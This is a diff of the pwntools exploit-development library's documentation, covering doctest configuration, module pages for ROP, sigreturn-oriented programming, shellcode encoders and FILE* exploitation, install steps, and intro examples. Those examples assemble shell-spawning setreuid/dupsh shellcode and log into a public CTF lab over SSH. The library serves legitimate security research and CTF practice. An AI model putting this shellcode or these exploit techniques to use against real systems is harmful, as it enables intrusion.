+                return False
+            if (optionflags & POSIX) == POSIX and os.name != 'posix':
+                return False
+            return True
+                
+        test.examples[:] = [example for example in test.examples if filter_platform(example)]
+            
+        return super(PlatformDocTestRunner, self).run(test, compileflags, out, clear_globs)
+
+class PlatformDocTestBuilder(sphinx.ext.doctest.DocTestBuilder):
+
+    def __init__(self, *args, **kwargs):
+        super(PlatformDocTestBuilder, self).__init__(*args, **kwargs)
+        self._test_runner = None
+        self._doctree_had_tests = False
+
+    @property
+    def test_runner(self):
+        return self._test_runner
+
+    @test_runner.setter
+    def test_runner(self, value):
+        self._test_runner = PlatformDocTestRunner(value._checker, value._verbose, value.optionflags)
+
+    def test_doc(self, docname, doctree):
+        start = datetime.now(timezone.utc).astimezone()
+        # self._out(f"[{start.isoformat(timespec='milliseconds')}] doctest start: {docname}\n")
+        self._doctree_had_tests = False
+        try:
+            return super(PlatformDocTestBuilder, self).test_doc(docname, doctree)
+        finally:
+            # Only print the timestamp if there were actually tests run.
+            if self._doctree_had_tests:
+                end = datetime.now(timezone.utc).astimezone()
+                duration = (end - start).total_seconds()
+                self._out(f"[{end.isoformat(timespec='milliseconds')} - {duration:.2f}s]\n")
+            self._doctree_had_tests = False
+
+    def test_group(self, group):
+        # Only called when there are tests to run in the current document.
+        self._doctree_had_tests = True
+        return super(PlatformDocTestBuilder, self).test_group(group)
+
+if 'doctest' in sys.argv:
+    def setup(app):
+        app.add_builder(PlatformDocTestBuilder, override=True)
+        # app.connect('autodoc-skip-member', dont_skip_any_doctests)
+    # monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
+    import paramiko.client
+    import binascii
+    paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
+    paramiko.util.safe_string = lambda x: '' # function result never *actually used*
+
+    class EndlessLoop(Exception): pass
+    if hasattr(signal, 'alarm'):
+        def alrm_handler(sig, frame):
+            signal.alarm(180) # three minutes
+            raise EndlessLoop()
+        signal.signal(signal.SIGALRM, alrm_handler)
+        signal.alarm(600) # ten minutes
+    else:
+        def sigabrt_handler(signum, frame):
+            raise EndlessLoop()
+        # thread.interrupt_main received the signum parameter in Python 3.10
+        if sys.version_info >= (3, 10):
+            signal.signal(signal.SIGABRT, sigabrt_handler)
+        def alrm_handler():
+            try:
+                import thread
+            except ImportError:
+                import _thread as thread
+            # pre Python 3.10 this raises a KeyboardInterrupt in the main thread.
+            # it might not show a traceback in that case, but it will stop the endless loop.
+            thread.interrupt_main(signal.SIGABRT)
+            timer = threading.Timer(interval=180, function=alrm_handler) # three minutes
+            timer.daemon = True
+            timer.start()
+        import threading
+        timer = threading.Timer(interval=600, function=alrm_handler) # ten minutes
+        timer.daemon = True
+        timer.start()

docs/source/config.rst

@@ -0,0 +1,4 @@
+:mod:`pwnlib.config` --- Pwntools Configuration File
+====================================================
+
+.. automodule:: pwnlib.config

docs/source/context.rst

@@ -3,13 +3,31 @@
    from pwn import *
    import logging
    log = pwnlib.log.getLogger('pwnlib.context')
+   context.clear()
 
 :mod:`pwnlib.context` --- Setting runtime variables
 =====================================================
 
-.. autodata:: pwnlib.context.context
+Many settings in ``pwntools`` are controlled via the global variable :data:`.context`, such as the selected target operating system, architecture, and bit-width.
 
-.. autoclass:: pwnlib.context.ContextType
-    :members:
+In general, exploits will start with something like:
 
-.. autoclass:: pwnlib.context.Thread
+.. code-block:: python
+
+    from pwn import *
+    context.arch = 'amd64'
+
+Which sets up everything in the exploit for exploiting a 64-bit Intel binary.
+
+The recommended method is to use ``context.binary``  to automagically set all of the appropriate values.
+
+.. code-block:: python
+
+    from pwn import *
+    context.binary = './challenge-binary'
+
+Module Members
+----------------------------------------------------
+
+.. automodule:: pwnlib.context
+   :members:

docs/source/elf.rst

@@ -3,8 +3,16 @@
    from pwnlib.elf import *
    from pwnlib.util.misc import which
 
-:mod:`pwnlib.elf` --- Working with ELF binaries
-===============================================
+:mod:`pwnlib.elf` --- ELF Executables and Libraries
+===================================================
 
 .. automodule:: pwnlib.elf
-   :members:
+
+
+ELF Modules
+-------------------
+
+.. toctree::
+    elf/elf
+    elf/config
+    elf/corefile

docs/source/elf/config.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   from pwnlib.elf.config import parse_kconfig
+
+:mod:`pwnlib.elf.config` --- Kernel Config Parsing
+===========================================================
+
+.. automodule:: pwnlib.elf.config
+  :members:

docs/source/elf/corefile.rst

@@ -0,0 +1,35 @@
+.. testsetup:: *
+
+   from glob import glob
+   from pwn import *
+
+   # The Linux kernel won't overwrite an existing corefile, so in case 
+   # some other part of the doctests caused a segfault and core dump,
+   # we need to get rid of it before our tests run.
+   #
+   # We DONT need to worry about e.g. ./core existing when using Corefile()
+   # because we always move and rename the corefile to prevent this situation.
+   if os.path.exists('core'): 
+      os.unlink('core')
+
+   # bash-static is a statically linked version of bash, but if $SHELL is not
+   # set to anything, it decides to up and load ld.so and libc.so which breaks
+   # our example of showing `corefile.libc == None` for a statically linked bin.
+   # Set the environment here so it's not in the middle of our tests.
+   os.environ.setdefault('SHELL', '/bin/sh')
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
+
+:mod:`pwnlib.elf.corefile` --- Core Files
+===========================================================
+
+.. automodule:: pwnlib.elf.corefile
+
+  .. autoclass:: pwnlib.elf.corefile.Corefile
+     :members:
+     :show-inheritance:
+
+  .. autoclass:: pwnlib.elf.corefile.Mapping
+     :members:

docs/source/elf/elf.rst

@@ -0,0 +1,34 @@
+.. testsetup:: *
+
+   from pwn import *
+   from glob import glob
+   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
+   import shutil
+
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
+:mod:`pwnlib.elf.elf` --- ELF Files
+===========================================================
+
+.. automodule:: pwnlib.elf.elf
+
+  .. autoclass:: pwnlib.elf.elf.ELF
+     :members:
+     :show-inheritance:
+     :inherited-members:
+     :exclude-members: address_offsets,
+                       get_data,
+                       get_dwarf_info,
+                       get_section,
+                       get_segment,
+                       has_dwarf_info,
+                       iter_sections,
+                       iter_segments
+
+  .. autoclass:: pwnlib.elf.elf.Function
+     :members:
+
+  .. autoclass:: pwnlib.elf.elf.dotdict
+     :members:

docs/source/encoders.rst

@@ -2,24 +2,32 @@
 
    from pwn import *
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+   
 :mod:`pwnlib.encoders` --- Encoding Shellcode
 ===============================================
 
-.. automodule:: pwnlib.encoders
-   :members:
-
 .. automodule:: pwnlib.encoders.encoder
    :members:
 
-
-.. automodule:: pwnlib.encoders.amd64
-   :members:
-
-.. automodule:: pwnlib.encoders.arm
-   :members:
-
-.. automodule:: pwnlib.encoders.i386
+.. automodule:: pwnlib.encoders.i386.ascii_shellcode
    :members:
+   :special-members:
+   :exclude-members: __init__
 
 .. automodule:: pwnlib.encoders.i386.xor
    :members:
+
+.. automodule:: pwnlib.encoders.i386.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.amd64.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.arm.xor
+   :members:
+
+.. automodule:: pwnlib.encoders.mips.xor
+   :members:

docs/source/filepointer.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwnlib.filepointer import *
+   from pwnlib.filepointer import _update_var
+
+:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
+============================================================
+
+.. automodule:: pwnlib.filepointer
+   :members:

docs/source/filesystem.rst

@@ -0,0 +1,20 @@
+.. testsetup:: *
+
+    import time
+    from pwnlib.context import context
+    from pwnlib.tubes.ssh import ssh
+    from pwnlib.filesystem import *
+
+    # TODO: Remove global POSIX flag
+    import doctest
+    doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
+:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
+====================================================================
+
+Provides a Python2-compatible :py:mod:`pathlib` interface for paths
+on the local filesystem (`.Path`) as well as on remote filesystems,
+via SSH (`.SSHPath`).
+
+.. automodule:: pwnlib.filesystem
+   :members:

docs/source/flag.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+
+
+:mod:`pwnlib.flag` --- CTF Flag Management
+==========================================
+
+.. automodule:: pwnlib.flag
+   :members:

docs/source/gdb.rst

@@ -1,3 +1,13 @@
+.. testsetup:: *
+
+    from pwn import *
+    context.arch = 'amd64'
+    context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
+
+    # TODO: Test on cygwin too
+    import doctest
+    doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.gdb` --- Working with GDB
 ======================================
 

docs/source/globals.rst

@@ -13,11 +13,11 @@ Which imports a bazillion things into the global namespace to make your life eas
 
 This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.
 
-- ``context``
+- :mod:`pwnlib.context`
     - :data:`pwnlib.context.context`
     - Responsible for most of the pwntools convenience settings
     - Set `context.log_level = 'debug'` when troubleshooting your exploit
-    - Scope-aware, so you can disable logging for a subsection of code via ``pwnlib.context.ContextType.local``
+    - Scope-aware, so you can disable logging for a subsection of code via :meth:`.ContextType.local`
 - ``remote``, ``listen``, ``ssh``, ``process``
     - :mod:`pwnlib.tubes`
     - Super convenient wrappers around all of the common functionality for CTF challenges
@@ -57,11 +57,11 @@ This is a quick list of most of the objects and routines imported, in rough orde
 - ``gdb.debug`` and ``gdb.attach``
     - :mod:`pwnlib.gdb`
     - Launch a binary under GDB and pop up a new terminal to interact with it.  Automates setting breakpoints and makes iteration on exploits MUCH faster.
-    - Alternately, attach to a running process given a PID, ``pwnlib.tubes`` object, or even just a socket that's connected to it
+    - Alternately, attach to a running process given a PID, :mod:`pwnlib.tubes` object, or even just a socket that's connected to it
 - ``args``
-    - Dictionary contining all-caps command-line arguments for quick access
+    - Dictionary containing all-caps command-line arguments for quick access
     - Run via ``python foo.py REMOTE=1`` and ``args['REMOTE'] == '1'``.
-    - Can also control logging verbosity and terminal fancyness
+    - Can also control logging verbosity and terminal fanciness
         - `NOTERM`
         - `SILENT`
         - `DEBUG`
@@ -78,7 +78,7 @@ This is a quick list of most of the objects and routines imported, in rough orde
     - It's the new ``getch``
 - ``safeeval``
     - :mod:`pwnlib.util.safeeval`
-    - Functions for safely evalutaing python code without nasty side-effects.
+    - Functions for safely evaluating python code without nasty side-effects.
 
 These are all pretty self explanatory, but are useful to have in the global namespace.
 

docs/source/index.rst

@@ -5,6 +5,20 @@ pwntools
 Written in Python, it is designed for rapid prototyping and development,
 and intended to make exploit writing as simple as possible.
 
+The primary location for this documentation is at docs.pwntools.com_, which uses
+readthedocs_. It comes in three primary flavors:
+
+- Stable_
+- Beta_
+- Dev_
+
+.. _readthedocs: https://readthedocs.org
+.. _docs.pwntools.com: https://docs.pwntools.com/en/latest
+.. _Stable: https://docs.pwntools.com/en/stable
+.. _Beta: https://docs.pwntools.com/en/beta
+.. _Dev: https://docs.pwntools.com/en/dev
+
+
 Getting Started
 ---------------
 
@@ -29,32 +43,41 @@ Each of the ``pwntools`` modules is documented here.
    :glob:
 
    adb
+   args
    asm
    atexception
    atexit
    constants
+   config
    context
    dynelf
    encoders
    elf
    exception
+   filepointer
+   filesystem
+   flag
    fmtstr
    gdb
+   libc
+   libcdb
    log
    memleak
+   protocols
+   qemu
+   regsort
    replacements
    rop
-   rop/*
    runner
    shellcraft
-   shellcraft/*
    term
    timeout
    tubes
-   tubes/*
    ui
+   update
    useragents
    util/*
+   windbg
 
 .. toctree::
    :hidden:
@@ -69,3 +92,12 @@ Each of the ``pwntools`` modules is documented here.
    * :ref:`genindex`
    * :ref:`modindex`
    * :ref:`search`
+
+Bytes
+-----
+
+The bytes vs text distinction is so important that it even made it to this main page.
+See the pwntools-tutorial_ repo for the latest tutorial finally
+explaining the difference once and for all (hopefully).
+
+.. _pwntools-tutorial: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md

docs/source/install.rst

@@ -1,9 +1,7 @@
 Installation
 ============
 
-pwntools is best supported on Ubuntu 12.04 and 14.04, but most
-functionality should work on any Posix-like distribution (Debian, Arch,
-FreeBSD, OSX, etc.).
+Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
 
 Prerequisites
 -------------
@@ -17,15 +15,60 @@ following system libraries installed.
 
    install/*
 
-Released Version
------------------
 
-pwntools is available as a ``pip`` package.
+Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.
 
 .. code-block:: bash
 
-    $ apt-get install python2.7 python2.7-dev python-pip
-    $ pip install --upgrade git+https://github.com/Gallopsled/pwntools.git
+    brew install pwntools
+
+Released Version
+-----------------
+
+pwntools is available as a ``pip`` package for Python3. Version v5.0.0 supports Python3.10 or later. Use v4 if you use earlier versions of Python.
+
+Python3
+^^^^^^^
+
+The Python version required for installing Pwntools is kept as low as possible on a best-effort basis.  However, new features target Python3.10 and later.
+
+.. code-block:: bash
+
+    $ sudo apt-get update
+    $ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+    $ python3 -m pip install --upgrade pip
+    $ python3 -m pip install --upgrade pwntools
+
+
+Python2 (Deprecated)
+^^^^^^^^^^^^^^^^^^^^
+
+Python2 support has been removed in Pwntools v5.0.0.  The last version to support Python2 was v4.15.0.
+
+NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
+
+Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
+
+.. code-block:: bash
+
+    $ sudo apt-get update
+    $ sudo apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
+    $ python2 -m pip install --upgrade pip==20.3.4
+    $ python2 -m pip install --upgrade pwntools
+
+
+Command-Line Tools
+------------------
+
+When installed with ``sudo`` the above commands will install Pwntools' command-line tools to somewhere like ``/usr/bin``.
+
+However, if you run as an unprivileged user, you may see a warning message that looks like this::
+
+    WARNING: The scripts asm, checksec, common, constgrep, cyclic, debug, disablenx, disasm, 
+    elfdiff, elfpatch, errno, hex, main, phd, pwn, pwnstrip, scramble, shellcraft, template, 
+    unhex, update and version are installed in '/home/user/.local/bin' which is not on PATH.
+
+Follow the instructions listed and add ``~/.local/bin`` to your ``$PATH`` environment variable.
 
 Development
 --------------
@@ -35,7 +78,6 @@ If you are hacking on Pwntools locally, you'll want to do something like this:
 .. code-block:: bash
 
     $ git clone https://github.com/Gallopsled/pwntools
-    $ cd pwntools
-    $ pip install -e .
+    $ pip install --upgrade --editable ./pwntools
 
 .. _Ubuntu: https://launchpad.net/~pwntools/+archive/ubuntu/binutils

docs/source/install/binutils.rst

@@ -5,38 +5,56 @@ Assembly of foreign architectures (e.g. assembling Sparc shellcode on
 Mac OS X) requires cross-compiled versions of ``binutils`` to be
 installed. We've made this process as smooth as we can.
 
-In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, mips64, vax, etc.).
+In these examples, replace ``$ARCH`` with your target architecture (e.g., arm, aarch64, mips64, vax, etc.).
 
 Building `binutils` from source takes about 60 seconds on a modern 8-core machine.
 
 Ubuntu
 ^^^^^^^^^^^^^^^^
-First, add our `Personal Package Archive repository <http://binutils.pwntools.com>`__.
+
+For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <https://launchpad.net/~pwntools/+archive/ubuntu/binutils>`__.
+
+Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.
 
 .. code-block:: bash
 
-    $ apt-get install software-properties-common
-    $ apt-add-repository ppa:pwntools/binutils
-    $ apt-get update
+    $ sudo apt-get install software-properties-common
+    $ sudo apt-add-repository ppa:pwntools/binutils
+    $ sudo apt-get update
 
 Then, install the binutils for your architecture.
 
 .. code-block:: bash
 
-    $ apt-get install binutils-$ARCH-linux-gnu
+    $ sudo apt-get install binutils-$ARCH-linux-gnu
 
 Mac OS X
 ^^^^^^^^^^^^^^^^
 
 Mac OS X is just as easy, but requires building binutils from source.
-However, we've made ``homebrew`` recipes to make this a single command.
-After installing `brew <http://brew.sh>`__, grab the appropriate
+However, we've made ``homebrew`` recipes to make this just two commands.
+After installing `brew <https://brew.sh>`__, grab the appropriate
 recipe from our `binutils
 repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
 
 .. code-block:: bash
 
-    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
+    $ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
+    $ brew install ./binutils-$ARCH.rb
+
+Note: The pwntools/pwntools Homebrew tap is currently (August 2026) undergoing migration.
+If you encounter issues on Mac OS, try running ``export HOMEBREW_DEVELOPER="true"`` before ``brew install ...``.
+The actual resolution of the tap migration is still pending.
+
+
+Windows
+^^^^^^^^^^^^^^^^
+
+Windows support is experimental. You can try installing a prebuilt version of binutils
+for your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.
+
+Note: For x86 and x86_64, you should use the `ubuntu toolchain <https://gnutoolchains.com/ubuntu/>`__
+instead of the MinGW toolchains due to differences in the commandline handling.
 
 Alternate OSes
 ^^^^^^^^^^^^^^^^
@@ -48,10 +66,10 @@ OSes, ``binutils`` is simple to build by hand.
 
     #!/usr/bin/env bash
 
-    V=2.25   # Binutils Version
+    V=2.38   # Binutils Version
     ARCH=arm # Target architecture
 
-    cd /tmp
+    cd ${TMPDIR:-/tmp}
     wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
     wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig
 
@@ -67,7 +85,7 @@ OSes, ``binutils`` is simple to build by hand.
     export AS=as
 
     ../binutils-$V/configure \
-        --prefix=/usr/local \
+        --prefix=${PREFIX:-/usr/local} \
         --target=$ARCH-unknown-linux-gnu \
         --disable-static \
         --disable-multilib \

docs/source/install/headers.rst

@@ -10,7 +10,7 @@ Ubuntu
 
 .. code-block:: bash
 
-    $ apt-get install python-dev
+    $ sudo apt-get install python-dev
 
 Mac OS X
 ^^^^^^^^^^^^^^^^

docs/source/intro.rst

@@ -2,6 +2,9 @@
 
    from pwn import *
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 Getting Started
 ========================
 
@@ -17,6 +20,13 @@ assemble, disassemble, pack, unpack, and many other things with a single functio
 A full list of everything that is imported is available on :doc:`globals`.
 
 
+Tutorials
+---------
+
+A series of tutorials for Pwntools exists online, at
+https://github.com/Gallopsled/pwntools-tutorial#readme
+
+
 Making Connections
 ------------------
 
@@ -27,14 +37,16 @@ This exposes a standard interface to talk to processes, sockets, serial ports,
 and all manner of things, along with some nifty helpers for common tasks.
 For example, remote connections via :mod:`pwnlib.tubes.remote`.
 
-    >>> conn = remote('ftp.debian.org',21)
+::
+
+    >>> conn = remote('ftp.ubuntu.com',21)
     >>> conn.recvline() # doctest: +ELLIPSIS
-    '220 ...'
-    >>> conn.send('USER anonymous\r\n')
-    >>> conn.recvuntil(' ', drop=True)
-    '331'
+    b'220 ...'
+    >>> conn.send(b'USER anonymous\r\n')
+    >>> conn.recvuntil(b' ', drop=True)
+    b'331'
     >>> conn.recvline()
-    'Please specify the password.\r\n'
+    b'Please specify the password.\r\n'
     >>> conn.close()
 
 It's also easy to spin up a listener
@@ -42,20 +54,20 @@ It's also easy to spin up a listener
     >>> l = listen()
     >>> r = remote('localhost', l.lport)
     >>> c = l.wait_for_connection()
-    >>> r.send('hello')
+    >>> r.send(b'hello')
     >>> c.recv()
-    'hello'
+    b'hello'
 
 Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`.
 
 ::
 
     >>> sh = process('/bin/sh')
-    >>> sh.sendline('sleep 3; echo hello world;')
+    >>> sh.sendline(b'sleep 3; echo hello world;')
     >>> sh.recvline(timeout=1)
-    ''
+    b''
     >>> sh.recvline(timeout=5)
-    'hello world\n'
+    b'hello world\n'
     >>> sh.close()
 
 Not only can you interact with processes programmatically, but you can
@@ -72,16 +84,16 @@ a ``process`` tube.
 
 ::
 
-    >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
+    >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
     >>> shell['whoami']
-    'bandit0'
+    b'bandit0'
     >>> shell.download_file('/etc/motd')
     >>> sh = shell.run('sh')
-    >>> sh.sendline('sleep 3; echo hello world;') # doctest: +SKIP
+    >>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP
     >>> sh.recvline(timeout=1)
-    ''
+    b''
     >>> sh.recvline(timeout=5)
-    'hello world\n'
+    b'hello world\n'
     >>> shell.close()
 
 Packing Integers
@@ -97,13 +109,13 @@ unpacking codes, and littering your code with helper routines.
     >>> import struct
     >>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
     True
-    >>> leet = '37130000'.decode('hex')
-    >>> u32('abcd') == struct.unpack('I', 'abcd')[0]
+    >>> leet = unhex('37130000')
+    >>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
     True
 
 The packing/unpacking operations are defined for many common bit-widths.
 
-    >>> u8('A') == 0x41
+    >>> u8(b'A') == 0x41
     True
 
 Setting the Target Architecture and OS
@@ -112,9 +124,9 @@ Setting the Target Architecture and OS
 The target architecture can generally be specified as an argument to the routine that requires it.
 
     >>> asm('nop')
-    '\x90'
+    b'\x90'
     >>> asm('nop', arch='arm')
-    '\x00\xf0 \xe3'
+    b'\x00\xf0 \xe3'
 
 However, it can also be set once in the global ``context``.  The operating system, word size, and endianness can also be set here.
 
@@ -126,10 +138,10 @@ However, it can also be set once in the global ``context``.  The operating syste
 Additionally, you can use a shorthand to set all of the values at once.
 
     >>> asm('nop')
-    '\x90'
+    b'\x90'
     >>> context(arch='arm', os='linux', endian='big', word_size=32)
     >>> asm('nop')
-    '\xe3 \xf0\x00'
+    b'\xe3 \xf0\x00'
 
 .. doctest::
    :hide:
@@ -158,12 +170,12 @@ Assembly and Disassembly
 Never again will you need to run some already-assembled pile of shellcode
 from the internet!  The :mod:`pwnlib.asm` module is full of awesome.
 
-    >>> asm('mov eax, 0').encode('hex')
+    >>> enhex(asm('mov eax, 0'))
     'b800000000'
 
 But if you do, it's easy to suss out!
 
-    >>> print disasm('6a0258cd80ebf9'.decode('hex'))
+    >>> print(disasm(unhex('6a0258cd80ebf9')))
        0:   6a 02                   push   0x2
        2:   58                      pop    eax
        3:   cd 80                   int    0x80
@@ -176,8 +188,8 @@ loaded with useful time-saving shellcodes.
 Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing
 file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!
 
-    >>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex')
-    '6a3158cd8089c36a465889d9cd806a045b6a0359496a3f58cd8075f86a68682f2f2f73682f62696e6a0b5889e331c999cd80'
+    >>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
+    '6a3158cd80...'
 
 
 Misc Tools
@@ -188,10 +200,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
 
 Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
 
-    >>> print cyclic(20)
-    aaaabaaacaaadaaaeaaa
-    >>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166))  at crash time
-    >>> print cyclic_find('faab')
+    >>> cyclic(20)
+    b'aaaabaaacaaadaaaeaaa'
+    >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
+    >>> cyclic_find(b'faab')
     120
 
 ELF Manipulation
@@ -200,22 +212,22 @@ ELF Manipulation
 Stop hard-coding things!  Look them up at runtime with :mod:`pwnlib.elf`.
 
     >>> e = ELF('/bin/cat')
-    >>> print hex(e.address) #doctest: +SKIP
+    >>> print(hex(e.address)) #doctest: +SKIP
     0x400000
-    >>> print hex(e.symbols['write']) #doctest: +SKIP
+    >>> print(hex(e.symbols['write'])) #doctest: +SKIP
     0x401680
-    >>> print hex(e.got['write']) #doctest: +SKIP
+    >>> print(hex(e.got['write'])) #doctest: +SKIP
     0x60b070
-    >>> print hex(e.plt['write']) #doctest: +SKIP
+    >>> print(hex(e.plt['write'])) #doctest: +SKIP
     0x401680
 
 You can even patch and save the files.
 
     >>> e = ELF('/bin/cat')
-    >>> e.read(e.address+1, 3)
-    'ELF'
+    >>> e.read(e.address, 4)
+    b'\x7fELF'
     >>> e.asm(e.address, 'ret')
     >>> e.save('/tmp/quiet-cat')
-    >>> disasm(file('/tmp/quiet-cat','rb').read(1))
+    >>> disasm(open('/tmp/quiet-cat','rb').read(1))
     '   0:   c3                      ret'
 

docs/source/libc.rst

@@ -0,0 +1,10 @@
+:mod:`pwnlib.libc` --- Convenient Functions for Libc Implementations
+====================================================================
+
+Submodules
+----------
+
+.. toctree::
+   :glob:
+
+   libc/*

docs/source/libc/glibc.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwn import *
+
+:mod:`pwnlib.libc.glibc` --- Convenient Functions for Glibc
+===========================================================
+
+.. automodule:: pwnlib.libc.glibc
+   :members:

docs/source/libcdb.rst

@@ -0,0 +1,14 @@
+.. testsetup:: *
+
+   from pwn import *
+   from pwnlib.libcdb import *
+
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
+:mod:`pwnlib.libcdb` --- Libc Database
+===========================================
+
+.. automodule:: pwnlib.libcdb
+   :members:

docs/source/memleak.rst

@@ -1,11 +1,9 @@
 .. testsetup:: *
 
-   from pwnlib.memleak import *
+    from pwn import *
 
 :mod:`pwnlib.memleak` --- Helper class for leaking memory
 =========================================================
 
-.. module:: pwnlib.memleak
-
-.. autoclass:: MemLeak
-   :members:
+.. automodule:: pwnlib.memleak
+    :members:

docs/source/protocols.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+
+
+:mod:`pwnlib.protocols.adb` --- Protocol implementations
+========================================================
+
+.. automodule:: pwnlib.protocols.adb
+   :members:

docs/source/qemu.rst

@@ -0,0 +1,14 @@
+.. testsetup:: *
+
+   from pwn import *
+
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
+
+:mod:`pwnlib.qemu` --- QEMU Utilities
+==========================================
+
+.. automodule:: pwnlib.qemu
+   :members:

docs/source/rop.rst

@@ -1,7 +1,3 @@
-.. testsetup:: *
-
-   from pwn import *
-
 :mod:`pwnlib.rop` --- Return Oriented Programming
 =================================================
 

docs/source/rop/ret2dlresolve.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   import tempfile
+
+:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
+========================================================
+
+.. automodule:: pwnlib.rop.ret2dlresolve
+   :members:

docs/source/rop/rop.rst

@@ -1,6 +1,28 @@
 .. testsetup:: *
 
-   from pwn import *
+   import time
+   from glob import glob
+
+   from pwnlib.asm import asm
+   from pwnlib import constants
+   from pwnlib.context import context
+   from pwnlib.elf import ELF
+   from pwnlib.rop import ROP
+   from pwnlib.rop.call import Call, AppendedArgument
+   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
+   from pwnlib.util.packing import *
+   from pwnlib.util.fiddling import *
+   from pwnlib.tubes.process import process
+   from pwnlib import shellcraft
+   from pwnlib.util.misc import which
+   import pwnlib.data
+
+   context.clear()
+
+   # TODO: Remove global LINUX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 
 :mod:`pwnlib.rop.rop` --- Return Oriented Programming
 ==========================================================

docs/source/rop/srop.rst

@@ -1,6 +1,14 @@
 .. testsetup:: *
 
-   from pwn import *
+   from pwnlib.rop.srop import *
+
+   from pwnlib import constants
+   from pwnlib import shellcraft
+   from pwnlib.elf import ELF
+   from pwnlib.tubes.process import process
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
 
 :mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
 ==========================================================

docs/source/runner.rst

@@ -1,6 +1,11 @@
 .. testsetup:: *
 
-   from pwn import *
+   from pwnlib.runner import *
+   from pwnlib.asm import asm
+
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
 
 :mod:`pwnlib.runner` --- Running Shellcode
 ===========================================

docs/source/shellcraft.rst

@@ -2,6 +2,10 @@
 
    from pwnlib import shellcraft
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.shellcraft` --- Shellcode generation
 =================================================
 

docs/source/shellcraft/aarch64.rst

@@ -0,0 +1,22 @@
+.. testsetup:: *
+
+   from pwn import *
+   context.clear(arch='aarch64')
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
+:mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64
+===========================================================
+
+:mod:`pwnlib.shellcraft.aarch64`
+--------------------------------
+
+.. automodule:: pwnlib.shellcraft.aarch64
+   :members:
+
+:mod:`pwnlib.shellcraft.aarch64.linux`
+--------------------------------------
+
+.. automodule:: pwnlib.shellcraft.aarch64.linux
+   :members:

